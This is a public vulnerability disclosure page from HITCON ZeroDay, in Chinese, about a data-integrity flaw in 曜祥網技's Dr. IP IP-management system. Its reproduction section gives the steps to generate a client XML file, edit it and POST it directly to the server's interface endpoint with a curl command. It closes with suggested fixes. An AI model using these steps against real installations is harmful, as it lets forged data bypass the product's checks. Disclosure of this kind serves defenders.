Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00319
- 發信 Vendor: 曜祥網技
- Title: 曜祥網技 Dr. IP IP資源管理系統 A08:2025 - Software or Data Integrity Failures
- Introduction: 使用者可以直接修改"需要 上傳至系統之XML" 不需要驗證 可以達成欺騙該軟體的檢查
處理狀態
目前狀態
公開
Last Update : 2026/05/06
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/03/06 23:21:53 : 新提交 (由 coreyQAQ 更新此狀態)
- 2026/03/13 16:45:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/13 17:07:18 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/13 17:07:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/03/13 17:07:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/06 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2026-00319
- 通報者：coreyQAQ (coreyQAQ)
- 風險：中
- 類型：邏輯漏洞 (Logic Flaws)
參考資料
暫無資料
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
相關網址
這是產品 沒網址
敘述
1.先到C:\Users\<使用者名稱>\SIPtemp\
用CMD 執行 C:\Users\<使用者名稱>\SIPtemp\SIP_PCinfo.exe ad-on https://10.6.225.139/SIP/Interface/Interface.asmx -p 以產出
outAA1.xml << 這個檔案
2.透過修改後 outAA1.xml 直接用CURL 往該系統傳XML
curl -k -X POST -H "Content-Type: text/xml" -d @outAA1.xml https://10.6.225.139/SIP/Interface/Interface.asmx
修補建議
1. 建議傳完後就刪除該XML ㄅ 被 USER 看到 傳的話 就不好了
2. 還是在系統上加個驗證 SIP_PCinfo.exe << 只接受這exe 傳的資料 ? 因為我只用到CURL 就可以上傳了耶 至少加個密碼?
3. ㄟ其實好奇這要怎修 如果修好 也跟我說一下
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。